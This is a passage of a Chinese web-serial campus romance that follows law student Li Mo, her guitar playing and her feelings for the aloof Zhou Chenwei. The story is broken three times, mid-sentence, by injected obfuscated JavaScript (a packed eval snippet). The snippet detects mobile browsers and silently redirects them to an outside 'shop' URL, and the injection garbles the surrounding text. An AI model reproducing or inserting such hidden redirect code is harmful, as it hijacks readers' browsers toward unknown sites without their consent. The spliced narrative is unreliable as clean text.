“这种家世好的大帅比到哪里都是稀缺物种,我听说周辰纬从前还组过一支乐队,叫什么fearX,那支乐队在地下圈子还蛮有名的,也在几个音乐节登场表演过,”小贝打了个哈欠,接着说道:“周辰纬那样的人,从小到大不知道收割过多少女生的芳心。林白薇不是第一个,也不会是最后一个。” “可是fearX不是已经解散了么?听说他们前主唱为了进娱乐圈赚钱,背着其他几个成员签了演艺合同。现在fearX在各大音乐平台上发的作品都下架了。”程玥喝了口水,分享起了自己知道的传闻。 “我听说周辰纬最近有重组一支乐队的意向,还面试了几个乐手,不过还没找到满意的人选,”小贝说着说着,忽然灵光一现,“诶,茉茉,你不是会弹电吉他吗?要不要去他那里面试看看?” 小贝记得很清楚,新生报到那天,她们三个轮番自我介绍时,李茉说过,她的爱好和特长都是弹奏电吉他。 李茉明明长了一张清纯的脸,却会弹电吉他这种炫酷叛逆的乐器,给小贝留下的印象很深刻。 李茉静静地看着漆黑的天花板,声线苦涩:“会弹琴的人那么多,他不一定看得上我。我还是......别去自讨没趣了。” 两个室友的夜谈结束后,宿舍里骤然安静下来。李茉闭上眼试图入睡,可怎么努力都睡不着了。 凌晨三四点的时候,她才终于有了点困意。 半梦半醒间,不知道为什么,她脑海里全是那个把她救赎出暗巷的少年,和他那双深邃漆黑的眼睛。 接下来的一周,北禾接连下了几场雨,冲散了不少绵延的暑热。 走廊大哭了一场后,林白薇或许是觉得太丢脸,有好几天的时间没在法援社出现。 李茉倒是在教学楼碰见了林白薇几次,但林白薇每次的态度都算不上友好,看她的眼神冷得像带了刀子。 虽然不知道在哪里得罪了这位学姐,不过李茉也不会把她的态度放在心上。 无关紧要的人怎么看她,她从不在乎。 周五晚上,李茉照常在图书馆待到闭馆,夜深了才往宿舍的方向走。 这个点校内没什么人了,李茉一边低着头走路,脑海里还在思考着一个法理学的知识点。 她思考得太专心,走到宿舍楼下面时,一时不察,撞到了一个人身上。 对方t恤的面料极硬,淡淡的辛辣烟草气味和雪松香气附着在上面,被体温烘烤着,全灌进了李茉的鼻息。 她心里一慌,正想道歉,一抬头却看见了一张朝思暮想的脸。 “......对不起。”李茉垂眸,声音很轻地吐了几个字。 男生浑不在意,并没做什么表示,目光移向一个刚从宿舍楼飞奔出来的娇俏身影。 “我还以为你这次真不要我了,你不知道我这几天多难熬,”林白薇穿了件刚到腿根的短裙,头发波浪卷得风情万种。 看见他手上绿色纸袋的奢侈品logo,林白薇肉眼可见变得开心了不少。 她不动声色地瞥了李茉一眼,伸手急匆匆接过,声音嚷得很大:“哎呀,我就随口提了一嘴,你真给我买啦?怎么这么宠我。” 看到这里,李茉移开了视线。 李茉头也不回地往宿舍楼走去,只觉得自己可笑。 和他每一次的相遇都在她心里掀起惊涛骇浪,可他的目光从来不会停驻在她身上。 自己对他来说,只是个可有可无的陌生人而已。 回到宿舍后,李茉像是被人卸了力,浑身软绵绵的,做什么都提不起兴趣,索性刷了会朋友圈。 她在朋友圈看到,十分钟前,一个学长转发了一条某琴行开业的宣传推广博文。 学长叫费开阳,是个戴黑框眼镜、长相文气的平头男生。他在朋友圈里说,由于他和琴行老板是好友,找他购琴能享受八折优惠。 看到这条朋友圈,李茉眼睛一亮。 她曾经拥有过一把电吉他,但那把电吉他在开学前,就被她亲弟弟李耀楣摔坏了。 姐弟俩因此大吵一架,可在母亲的偏心下,这件事至今都不了了之。 好在她做了一暑假的家教,手头有些余钱,足够买一把新吉他。 想到这里,李茉点进费开阳的头像,私聊他讲了想买一把新吉他的需求。 费开阳回复得很热情:【我可以带你一起去琴行挑琴,周六你有时间吗?】 【嗯嗯,有的。】她回道。 【琴行就开在岁宁街那里,离学校不远,到时候我们打车过去。具体几点明天我再通知你。】费开阳说。 次日中午,李茉吃完饭后又去了图书馆,为法理学的论文作业绞尽脑汁。她刚有了些头绪时,手机震动了起来。 她拿出手机一看,是费开阳给她打了一个电话。 为了不吵到别人,李茉拿起手机去了图书馆的走廊,接通:“喂,学长?” “我和琴行老板说好了下午带你去挑琴,三点钟校门口见,可以吗?”费开阳问道。 “可以。”李茉答应下来,和他约好在学校西门见面。 他们学校离岁宁街不远,坐上出租车后,十五分钟就到了琴行门口。 岁宁街是一条由历史文化老街改建成的商业街,这里所有的店铺都是独门独户的小院,遵循“前店后宅”式的设计。 琴行设在岁宁街的街尾,这里人流量不大,生意更是冷清。李茉跟着费开阳踏进琴行时,店里居然一个顾客都没有,连店员都不知道跑哪里摸鱼去了。 虽然生意惨淡,但老板显然是个不差钱的主儿,店里的吉他多数都是一把就要五位数的名牌款,李茉还在展示柜里看见了好几款大师签名的古董吉他。 琴行后门连着一个小院,见店里没人,费开阳熟门熟路地带着她去了后面的院子。 院里有颗粗壮的古树,树下有两个人在喝茶聊天。其中一人穿着黑衫黑裤,没骨头似的懒散坐着,衬衫衣袖被挽起一截,露出的半段小臂劲瘦冷白。 午后慵懒的阳光透过枝叶的缝隙,斑驳地打在他脸上,像是给他整个人镀上一层光晕,让人看不真切。 直到走到他跟前时,李茉才看清他的脸,只是匆匆的一瞥,却让她的心脏不受控制地剧烈跳动起来。 其实周辰纬单看五官,那张脸的精致感很浓。 皮肤冷白,三庭五眼挑不出任何毛病,像是照着日漫的美少年长出来的一样。 偏偏骨骼锋锐冷厉,下颌线硬朗利落,眼窝深邃,这些特质又很好地中和了五官带来的精致感。 “靳泽,这就是我和你说过的,我那个想买琴的学妹,她叫李茉,草未茉。”费开阳走到另一人身边,向他打了声招呼。 靳泽是这家琴行的老板,今年只有十九岁,是个不折不扣的富二代。 一般人都不会在岁宁街这种寸土寸金的商业街做赔本买卖,他却偏偏开了家不赚钱的琴行,把有钱任性的纨绔习性发挥到了极致。 靳泽站起身,看向费开阳身侧清丽可人的女生,心痒了一下。 他殷勤地凑了过去:“妹妹,你是要买电吉他吧,我店里最近刚进了一批新货,带你去看看?” 靳泽边说边领着李茉去了前面的店里,带她挑起了琴。 李茉几乎是第一眼就喜欢上了被放在店中央展示的一把限定款电吉他。这把琴的琴身是白金配色,造型华丽又精致,只是价签上的价格让她只能望而却步。 她恋恋不舍地收回目光,转而看起了那些中档价位的琴。 就在这时,站在靳泽身边的周辰纬忽地开口:“每把吉他的音色和手感都不一样,要上手试了才知道。你要试试这把琴吗?” “可以吗?”李茉有些犹疑地问道。 她知道有些琴行规定了不能试琴的规矩,尤其对这种用于展示的贵价琴来说。 ——“可以。” ——“妹妹你要试的话,当然可以。” 两道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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fearX(未知恐惧)虽然只是一支小众摇滚乐队,在地下圈子却拥有不小的知名度。周辰纬作为乐队里的主音吉他手,一直是乐队里人气最高的那一个。 虽然fearX乐队已经在去年夏天正式解散,周辰纬也淡出圈子专注学业,但他线上线下依然有不少的死忠粉丝,赶都赶不走的那一种。 听了她的解释,周辰纬挑了挑眉,没再追问。李茉松了口气,跟着靳泽去了琴行的二楼。 二楼陈列的都是一些收藏级别的古董吉他,每一把都能卖出天价。李茉欣赏了会儿,最终还是挑了一把中档价位的琴。 她付完款打算离开时,靳泽叫住了她,晃了晃手里的跑车钥匙:“要不要我送你回去?” “不用了,”李茉看了眼停在小院门口的那辆线条凌厉的跑车,语气很淡:“我有个家教的兼职,就在这附近,步行过去很近。” “那好吧,常来玩儿啊。”靳泽向她道了别。 熟悉的瘾头涌了上来,周辰纬顺着风向,背身点了支烟,透过迷蒙烟雾看着前方那个背着琴包、渐行渐远的身影。 夕阳把少女纤细的身影拉得很长。 她穿的是件质地轻薄的雪纺裙,很浅的绿色,衬得肌肤莹白雪亮。风拂过,衣袂被吹得翻飞,竟有几分飘飘欲仙的味道。 费开阳和他并肩而行,注意到他的眼神,笑谑道:“怎么,就看上我们法学院的小学妹了?” “少开这种玩笑,”周辰纬语气冷淡:“我喜欢什么样的,你又不是不知道。” 周辰纬从来不碰这种和男生说句话都会脸红的纯情少女,因为这样的人非常麻烦。 他一向喜欢放得开又有所图的女生,给足了她们利益,就能好聚好散。 就像林白薇,他给她买礼物不是因为有多喜欢,而是因为她真的很烦。能用一件分手礼物买日后的清净,他觉得很值。 周辰纬知道,他从不是世俗意义上的好人。 他自己的内心就是一片废墟,怎么会有耐心在别人的花园里种花。 “对了,你前段时间不是面试了几个乐手吗?有满意的人选吗?”回到小院,费开阳换了个话题。 周辰纬懒散呼出一口白烟,声线倦懒:“没有,那些人水平也太次了点。空有炫技,但说实话,他技巧也很一般。” 费开阳想了想,抛了个提议:“说起来......我倒觉得,不如考虑一下李茉学妹。” “她弹琴至少有七八年的功底了,我觉得她很合适。”费开阳接着补充道。 “你很看好她?”周辰纬想起少女弹琴时眼里那火焰般的光芒,弯了弯唇—— “嗯,可以试试。” 5. 心念 周日,李茉又给小男生上了两小时家教课。 这天的课安排在晚上六点,她来不及吃晚饭,上完课后已经饿得饥肠辘辘。 想到小区附近的巷子里有家小超市,李茉就小跑着拐进了巷子里。 小超市昏暗闷仄,规模不大,说是超市,其实更像个小卖部。 墙壁上贴了看不出年纪的过时海报,柜台对面墙上悬挂着一台电视机,正播着九十年代的一部老剧。 小卖部没开空调,热得像个大蒸笼,窒闷无比。 由于刚才小跑着赶路,李茉的领口处被热出一片粉色,额前有一缕碎发不听话地垂了下来。 她在超市里挑了点零食充作晚饭,又给两个室友一人买了一瓶本地特产的酸梅汤,就去了柜台那里排队等待结账。 “二十二。”柜台后的老板娘匆匆扫了一眼,就继续看起了电视剧。 “请问哪里扫码?”李茉问。 “小姑娘,我们这里只收现金,扫不了码。”老板娘打量她两眼,语气已经隐隐染上了不耐。 闻言,李茉不由得愣了一下,她是真想不到在手机支付已经全面普及的这一年,这家超市居然还有只收现金的规矩。 她身上一分钱现金都没有,正打算把东西全放回去时,身后却忽然传来一道熟悉的声音—— “多少钱,我帮她付了。” 磁沉低冽的声音,略带着两分烟酒熏染的哑,听在耳朵里有环佩相击的琮然,极其动人。 周辰纬? 他怎么会出现在这里? 李茉还在心里疑惑,周辰纬已经走了过来,递过一张百元的纸币。 他应该是刚洗了澡,发梢湿漉漉的,几滴水渗到了面料柔软的黑色t恤里。稍显凌乱的发型丝毫掩盖不住五官的立体出色。 老板娘接过钱,却面露难色:“这小姑娘一共就拿了二十二块钱的东西,我这儿没那么多零钱找你。” “我去买点别的。”周辰纬径自去了里侧的货架对着一排糖果挑挑拣拣,修长的手指最终拿了罐水果糖。 “其实不用破费——”李茉下意识跟着他走到了成排的货架之间。只是她话还没说完,周辰纬拿在掌心的手机就震动了起来。 出现在他手机屏幕上的,是林白薇的名字。 “什么事?”周辰纬接通电话,发问。 周辰纬开了公放,李茉和他离得近,电话那端,林白薇独特的嗲甜声线传进耳朵:“想你了就不能打电话呀。” 小超市原本窒闷的空气似乎被搅得越发黏腻,李茉抿了抿唇,只觉得呼吸困难。 她本打算迈步离开,忽地,一只劲瘦冷白的手臂横在面前,拦住了她的去路。 李茉心一跳,顺着这只手臂抬眼看过去,只看到了周辰纬凸起的喉结和锋利流畅的下颌。 他给她做了个“等一下”的口型,就继续讲起了电话。小超市面积不大,货架间的过道异常狭窄,李茉被他框在一方狭小的天地里,进退不得。 感官在那瞬间被放大了无数倍,周辰纬身上若有似无的雪松香气和淡淡的烟草气息萦绕在鼻端,她的脸红得快要爆炸。 电话那头的林白薇似乎在和他吵架,歇斯底里地吼了些什么,李茉并没有听清。最后周辰纬实在不想听她的喋喋不休,语气冷淡地撂了句话:“没什么事就挂了吧,我很忙。” 他直接摁断了电话,把手机放回口袋里。 周辰纬打完电话后,直接收回了横亘在李茉眼前的手。 傍晚时分,天空被夕阳染成饱和度很高的橙红色,金灿灿的夕阳透过小超市的玻璃窗斜斜照进来,给面前的女生镀上了一层浅淡的光晕。 她解开了衬衫的一粒纽扣,露出的锁骨精致又流畅,像是两片振翅欲飞的蝶翼。 可能是因为天气太热,她的脸颊和锁骨都染上了一层绯红,像是饱满诱人的樱桃,让人忍不住想要咬上一口。 周辰纬竟然觉得喉咙有些发干,只能不自在地轻咳了一声。 “不好意思,我有事要和你聊,又没有你的联系方式,只能把你拦下来了。”顿了顿,周辰纬开口说道,嗓音磁沉。 他黑漆漆的眸子盯住她,补充:“是很重要的事。” 李茉心一跳:“怎么了吗?” “你能吃辣吗?”周辰纬看着她问。 李茉想了想,说道:“算是能吃一点吧......” “能吃一点点,那就是不能吃,”周辰纬唇角勾出一个很浅的弧度,冲着她招了招手:“走吧,请你吃饭,我们边吃边聊。” - 周辰纬带李茉去了学校附近的一家粤菜馆。 这家粤菜馆开在商场顶层,李茉虽然没来过,单看装潢和来往人员的衣着打扮也知道,这家餐厅的消费必然不菲。 周辰纬应该是这里的熟客,两人刚走进餐厅,经理就将他们请到了包间。 服务员穿着精致的旗袍,盘髻梳得一丝不苟:“周先生,店里到了新的正山小种,我给您泡了吗?” “不了。”周辰纬拒绝,看向对面的李茉:“泡香片吧,小姑娘应该喝不了浓茶。” 看到菜单上的价格,李茉不由得吞了吞口水,点了份最便宜的杨枝甘露。 “你就吃这个吗?”周辰纬扬眉,连菜单都没看,轻车熟路地又点了几个硬菜。 李茉在心里默默吸了口气,纠结几秒还是开了口:“周辰纬,我能不能过几天再转你?” 她算了算那几道菜的价格,怕是还要再做几次家教才赚得够。 “说了是请你。”他勾起唇,露出了个安抚意味的笑容,笑意漾在好看的眉眼间。 “那......我下次请你吃别的?”李茉坚持。 周辰纬看着她,又笑了:“好,我等着。” 尾音微微上扬,带了丝若有似无的暧昧感。 李茉举起面前陶瓷杯,匆匆抿了一口,茶水很烫,她舌头都被烫得有些痛。 她在想,周辰纬不愧是个游刃有余的情场高手,随口说的一句话都能让人浮想联翩。 接下来的一顿饭,两人吃得有些沉默。 李茉不是八面玲珑的人,她话本来就少,尤其面对周辰纬,她更是不知道该说什么。 最后是周辰纬先开了口,打破了有些尴尬的气氛:“你吉他弹得很好,练了很久吗?” “谢谢你夸我,”李茉的眼睛亮了起来,笑起来有明显的小虎牙:“我从小学就开始弹了,但因为天赋有限,现在都还是二流水平。” “家里人怎么会想到送你学电吉他?很少有女生会专门去学。”周辰纬饶有兴味地看着她。 “小时候身边的同龄人都有上兴趣班,我妈也想给我报一个。”李茉笑着解释道:“当时刚好有个摇滚乐手在我们镇上开了个吉他班,学费很便宜,我就这么被送过去了。” 周辰纬把她的神色尽收眼底,心念一动。 “其实今晚这顿饭,我有一个目的,”周辰纬放下茶杯,目光平直地看向对面的女生:“我打算组一支新的校园乐队,目前主唱、贝斯手和鼓手都已经敲定了人选,只有主音吉他手的位置还空悬着。” “李茉,我想邀请你加入我的乐队,做我们的主音吉他手。” 李茉的心脏,被他这句话说得砰砰直跳。 她知道周辰纬最近有组一支新乐队的打算,也面试过几个校内的乐手。只是她做梦都想不到,周辰纬竟然会找上她。 加入他的乐队,她就能得到梦寐以求的、和他朝夕相处的机会。她其实很难对这个请求说“不”。 可一想起酒吧门口看到的那一幕,话到了嘴边,李茉又犹豫了。 他是有女朋友的人。 她不能一边打着乐队成员的旗号和他朝夕相处,一边又觊觎别人的男朋友。这样的行为太卑微,也太卑劣了。 最终,李茉垂下漆黑的眼睫,她不敢直视他的眼睛,缓缓开口:“很抱歉,我要......考虑一下,现在还不能答应你。” 需要考虑一下,其实就是拒绝的意思了。 周辰纬从小到大做什么都是随心所欲,也很少被人拒绝,李茉的话音刚落下,他黑眸里不自觉地闪过了惊诧。 但他不是没风度的人,被拒绝也没多作纠缠,而是抬手招来服务员,递过一张卡买了单。 两人走出餐厅后,周辰纬单手插着兜,狭长漆黑的眼睛里映出李茉的影子:“这里离学校蛮远的,我给你叫了辆车。” “啊,谢谢,”李茉在原地愣了一下,语气有些受宠若惊,“那你呢,和我一起回学校吗?” “我要去岁宁街,和你是反方向,”周辰纬简短地解释了两句:“琴行的三楼是排练室,今晚我要去那里面试几个乐手。” 交谈间,两人已经下了电梯,走到了商场门口。 周辰纬给她叫的网约车已经在商场门口等着了,李茉正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351448|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备上车,周辰纬却横在了她面前。 “对了,这个给你,”他把在小超市买的那罐水果糖递了过来,声线随意:“我不喜欢吃甜的。” 周辰纬没有说话,他的确不喜欢吃甜的。他刚才之所以下意识拿起了这罐糖,也只是因为,这个牌子的糖果让他想起了自己的妈妈。 小时候的周辰纬是个蛮挑嘴的小男孩,每次生病都嫌药太苦不愿意吃,为了哄他吃药,他妈妈总是会给他买这样的一罐糖。 李茉伸手接过那罐糖,糖罐上似乎还带着他手指的余温。他和周辰纬挥手告了别,就坐上了网约车。 水果糖是玻璃罐包装,大小那年流行的漂流瓶差不多,里面有许多种混合口味的糖果,每种口味都由对应颜色的糖纸包裹着。 红红绿绿的城市霓虹透过半开的车窗照在透明玻璃瓶上,像在瓶身上作了幅五彩斑斓的画。 李茉盯着那罐糖看了好几秒,最后还是打开了瓶盖,往手心倒了一颗糖。 最先跳出来的那颗糖是青苹果味,味道很酸,很涩,但酸涩中还带着一丝很淡的甜,和她此刻的的心情一模一样。 李茉回到宿舍的时候,两个室友程玥和小贝都在,她从袋子里掏出冰镇酸梅汤,一人一瓶分给了她们。 两人激动得立马扑过来抱住她,异口同声地嚷道:“茉茉,你也太好了吧!” 李茉被她们抱住,唇角弯了弯,眼里的笑意柔软。 由于一些特殊的原因,李茉高中时期并没有交到几个朋友,她甚至有些害怕和别人相处。 幸运的是,她大学遇到的两个室友都是很好的女孩子。 洗漱完毕后,李茉拿着手机上了床。她正回复着几个同学的消息,忽地,去阳台收衣服的小贝爆发出一声尖叫:“茉茉,玥玥,你们快来阳台看!世纪名场面!” 闻言,李茉放下手机,很配合地走了过去。 她们宿舍在二楼,阳台上能把宿舍楼下的场景一览无余。 一开始她还以为小贝说的名场面是楼下一对吻得难舍难分的情侣,直到余光瞥见一个熟悉的身影,她的注意力骤然被吸引了过去。 周辰纬有些懒散地半靠在宿舍楼前的大树下,背微微弓着,薄薄的眼皮因为倦怠压出褶子。 林白薇正站在他对面,表情委屈,几滴眼泪在眼眶中盘旋,仿佛下一秒就要哭出来。可他却视若无睹,哄都不带哄一下。 原来这就是小贝嘴里的“世纪名场面”。 看到这里,小贝压低声音:“前几天,林白薇不是刚发了个朋友圈,秀男朋友送的奢侈品项链吗?好像她发朋友圈的当天,周辰纬就提了分手。” “啊?刚秀完恩爱就被分手?我要是林白薇,臊都臊死了。”程玥看林白薇的眼神带上了点同情:“他俩为什么分手呀?” “具体原因不知道,那个项链好像是分手礼物,周辰纬出手一向大方。”小贝说。 听了她们的讨论,李茉心一跳,目光在楼下的林白薇身上一扫而过。 她今天的一身打扮明艳大胆,红唇,浓妆,包臀设计的连衣裙被穿得摇曳生姿,脸上挂着的泪痕都显得楚楚动人。 但依然引不起半点怜惜。 全程只有林白薇在情绪激动地说着什么,而周辰纬只是站在原地,看不出什么情绪,唯独眼神很冷,更加坐实了始乱终弃的渣男名头。 按理说,这种事情应该两人私下解决,没必要平白给别人看热闹。 可林白薇像是丢下了所有的尊严与体面,隔得很远都能听到她不管不顾的抱怨,声线哽咽: “我不过就是犯了一个小错,为什么不能原谅我?是你腻了对吗?所以要找个借口甩掉我?” “如果在你心里是这样想我的,那我们一开始就不应该在一起。”周辰纬垂下眼,淡声说。 没听到想要的回答,围观的人又越来越多,林白薇最终不好意思再待下去,哭着跑回了寝室。 一出分手大戏就此落幕,吃瓜群众作鸟兽散。 周辰纬表情很淡,没什么情绪地点了根烟,指尖的猩红在黑暗中格外刺目,散漫的身影渐行渐远。 就快离开宿舍楼时,忽地,周辰纬脚步顿住,抬起头。 他的目光逡巡一圈,最终视线凝成一点,像一束射线,轻而易举地就能穿透身体。 因为他这一眼,李茉心跳如擂鼓般轰然起来。 周辰纬在看的,似乎是她的方向。 6. 涨红 这个夏天绵延悠长,一直到了九月下旬,空气里还浮动着盛暑的余韵。 工伤案件在法援社众人的共同努力下终于接近了尾声,周末下午,李茉下午跟着几个学长学姐去走访了工伤案子的当事人,给他们一家送了月饼和一些生活必需品。 这趟走访,林白薇作为案件的负责人之一也应该去。她本来勉为其难地答应下来,可一听说当事人租住在城中村,立马找借口推拒了。 当事人和妻子都是进城务工的农民工,当事人高空作业时,由于设备老化不慎摔下,却迟迟没得到赔偿,让本来就生计困难的家庭更加雪上加霜。 李茉把他们的困窘看在眼里,她越发想为他们做点什么。 新的一周很快到来,周三下午没课,李茉照常去法援社的办公室工作。 她正准备推门进办公室时,门却被人从里面砰地一声推开,李茉还没反应过来,就看见林白薇捂着脸从里面跑了出来。 林白薇脸色很差,眼睛似乎也是红的,打了厚粉底的脸上留下了两道蜿蜒的泪痕。李茉有些懵,林白薇这个人一向眼高于顶,很少见她在众人面前失态的样子。 李茉找到自己的座位,刚把书包放下,程玥就凑近她耳边,神秘兮兮地说:“林白薇今天吃了个大瘪,脸都丢光了,你知道是为什么吗?” “怎么了?”李茉问道。 程玥这才把原因娓娓道来。 原来劳动法的吴教授看了李茉她们小组的意见书,起了惜才之心。意见书上有林白薇的署名,吴教授就找到她,问了几个案子相关的问题。 可林白薇不仅一个问题都答不上来,连对基本案情的理解都是似懂非懂的。 吴教授刚正的性格在法学院是出了名的,他最讨厌弄虚作假的人,认定了林白薇弄虚作假的行为之后,当场就把她给训斥了一通。 “经历了这一遭,她以后肯定再也不敢来法援社水学分了。”程玥笑得幸灾乐祸。 难得见讨厌的人吃瘪,程玥心情很好,而与之相对的,林白薇因为这次失恋遭受的打击真的很大。 有传言说她专门找计算机系的人要了他们的课表,每天蹲守在周辰纬的教室门口求复合,但周辰纬的态度始终如一。 他这样的人,在一起的时候不见得有几分用心,可分手的时候,却是彻彻底底的冷漠绝情。 下午的课上完之后,李茉和小贝一起去学校的二食堂吃饭。 二食堂有专门给贫困生开设的一元小菜窗口,还有免费汤羹,李茉很喜欢到这个食堂来。 她照常打了一份一元青菜和免费汤,入座后,小贝看她吃得太少,不由发问:“茉茉,你晚饭就吃这么点吗?睡前不会饿吗?” “习惯了。”李茉温声说。 两人刚入座,小贝就连着打了好几个哈欠。她揉了揉眼下的黑眼圈,忍不住抱怨道:“昨晚林白薇在隔壁宿舍又哭又闹,我和她的床位就隔了一道墙,吵得我一直睡不着。” “哎,没想到分个手对她的打击这么大。”小贝接着感慨了一句:“其实她和周辰纬在一起的时候,就应该想到总有一天会分手了。和那样的人谈恋爱,注定没结果。” 李茉正端着碗喝汤,听了这话,一阵涩意在喉咙里蔓延开来。 周辰纬那样的人,永远自由如风,没有人能以爱的名义束缚住他。 他的每一任女友都以为自己是能让浪子回头的那个人,可她们没有一个能真正做到。 两人正在吃饭,隔壁饭桌来了几个女生,赫然是林白薇她们宿舍的四个人。 林白薇很明显心情不佳,摆在面前的香锅一口都没动,秀眉紧紧蹙着,正一遍遍拨着不知道是谁的电话,但对方一个都没接。 “你是说查完手机之后他就开始和你冷战?这次的确是你做的不对,一声不吭就偷偷查他手机。”林白薇的室友看着她失魂落魄的模样,好心劝道。 “可是......那些女的知道他有女朋友还要往他身边凑,我实在不放心。特别是外语学院的那个郑玉芝,我们还没分手的时候,她就天天给他发消息。”林白薇的脸色更难看了。 “那你找到他出轨的证据了吗?”室友问。 林白薇摇了摇头,心不在焉地用筷子扒拉着碗里的米饭,眼圈开始泛红。 室友无奈地叹口气,劝道:“有句话怎么说来着,怀疑一旦产生,罪名就成立了。他生气也是正常的。” 这几天对林白薇来说真的太煎熬,不仅和周辰纬分手,在法援社也颜面尽失,她都要怀疑自己是不是水逆了。 林白薇对室友撒了谎,其实两人分手的导火索,并不是她偷偷看了周辰纬的手机,而是...... 虽然是她做的不对,但周辰纬也没必要这么生气吧,她都道歉了啊,还想让她怎么样。 那天晚上在酒吧门口,林白薇是真的很想跟着周辰纬回家。 她跟周辰纬谈了好些天的恋爱,她也馋他身子很久了,可周辰纬对她始终冷冷淡淡的,连一个吻都不乐意给她。 她这样的大美女主动投怀送抱,哪个男人能拒绝?但周辰纬连和她逢场作戏都懒得,撂下一句“上赶着投怀送抱,只会让人觉得廉价”就离开了酒吧。 一想起周辰纬提分手时的冷淡模样,林白薇的心里就烧着一把火。 再看到一旁的李茉那皎白素净的侧脸,她心里那股气就更不顺了。 “你晚饭就吃这些啊,”林白薇走到李茉的桌前,冷嘲热讽:“不是做了好几份兼职吗?怎么还这么穷酸。” “虽然我不知道你对我的恶意从何而来,但意见书的事,我对你已经仁至义尽了。”李茉语气平静,用无波无澜的口吻说着最杀人诛心的话:“学姐,世界不是围着你一个人转的。” 李茉一口气说完之后,没看林白薇的反应就端着餐盘转身离开。小贝赶忙跟上她,默默冲她竖了竖大拇指。 虽然快到十月了,但这几天的气温一直居高不下,傍晚的风吹在身上,也是燥热无比的,一丝凉意都没有。 两人走出食堂的时候,李茉实在热得不行,解开了衬衫的两粒纽扣,露出一小块白得像玉的皮肤。 小贝忍不住上手摸了一把,嘴里还感叹着:“啧,白嫩嫩、滑溜溜的,手感是真的好。” “走开啊你。”李茉笑着拍掉了她的手。 李茉和小贝约好了今晚一起在图书馆自习,可两人刚走到图书馆门口,小贝忽然扯了扯她的衣袖,眼巴巴地问:“茉茉,今晚能不能陪我去一个地方。” “怎么了?”李茉问。 “你还记得我和你说过的,开学那天帮我提行李的那个学长吗?我最近才知道,他是法学院学生会体育部的部长。”小贝的手指无意识地抠着衣角:“学生会今晚在第三教学楼办纳新宣讲,他......应该也在。你能陪我一起去听吗?” 少女心事总是诗,李茉抿唇笑了笑,答应了下来。 宣讲会被安排在了第三教学楼的大教室,第一个上场宣讲的是文艺部,负责演讲的女生自我介绍叫郑玉芝,是文艺部的副部长。 听见这个名字,李茉心念一动。 郑玉芝穿了一件看似普通的衬衫裙,裙长只到大腿中段,身材很好,是和周辰纬之前几个女友几乎如出一辙的长相。 她声音很甜很软,是李茉怎么都学不来的那种甜软。李茉自己有一把常被人夸赞的清泠泠的好嗓子,但她怎么都学不来郑玉芝和林白薇这种娇软的甜嗓。 或许,周辰纬喜欢的,是她们甜甜软软的嗓音? 郑玉芝宣讲完就退到了台下,座位刚好在李茉正前方。 李茉盯着她露出来的一截雪白脖颈看了几眼,就收回视线,接着看起了手里的小说。 李碧华的《生死桥》。 她完全沉浸在故事的情节里,并没注意到,不知道从什么时候开始,安静的教室忽然喧闹了起来,间或夹杂着女生们兴奋的低语。 “门口的那个男生是不是14级的周辰纬?我操,帅得我心脏砰砰直跳。你带口红了没有?借我用一下。”李茉身后的女生对同伴说道。 “给你,用吧。”另个女生露出心照不宣的笑容,又说:“不过我倒是懒得涂口红了,他历任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351449|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女友哪个不是前凸后翘的妖艳挂,我没什么希望。” “我怎么感觉他好像在看我,是我的错觉吗?”补妆的女生嗓音有些发颤。 周辰纬从门外走了进来,白t,黑裤。他应该是刚洗了澡,头发吹得半干,后颈的棘突被水泅湿,湿漉漉的,水洗后的皮肤更加白皙,甚至显出了一种透明的质感。 李茉正看得认真,倏地,一道阴影覆盖了下来,一截骨节突起的手腕最先出现在视线里。 是男生的手腕,肤色是冷调的白,腕上蜿蜒的青筋充满力量感。接着,一道磁沉的嗓音在她耳边响起—— “不是有事找我?走吧。” 李茉这才抬起头,看见身边的周辰纬,她心一缩,下意识地就要站起来。 结果有人动作比她更快,前面的郑玉芝站起身,揽住他的胳膊,亲昵地道:“怎么才来,我等你好久了。” “在洗澡。”他声音有隐隐不耐,目光不动声色地扫过郑玉芝揽住他的那只手,后者讪讪地把手挪开。 两人并肩走了出去,男生高瘦挺拔,女生娇俏可人,两人单看背影都十分般配。 李茉垂下眼,心跳得很快也很乱。虽然早知道周辰纬这样的人,每段恋情的空窗期都很短,但亲眼看见他身边有了新人,她心里还是难过得不行。 李茉在座位上待了一会儿,刚才还津津有味的小说这会儿一个字都看不下去。她不想再这么煎熬,和小贝打个招呼后就出了门。 两栋教学楼之间是一条露天的连廊,李茉打算去连廊吹吹风,消解一下烦闷的心情。 她戴着耳机,听着耳机里传来缠绵悱恻的歌声,心里百转千回。 就这么心事重重地走到连廊中段,鼻端传来一阵熟悉又凛冽的烟草味道,一抬眼,她竟看见了周辰纬。 郑玉芝正仰头和他说话,露出一片柔软的肌肤和精致的锁骨。周辰纬没看她,一边抽着烟,一边时不时看着手机,偶尔回应几句。 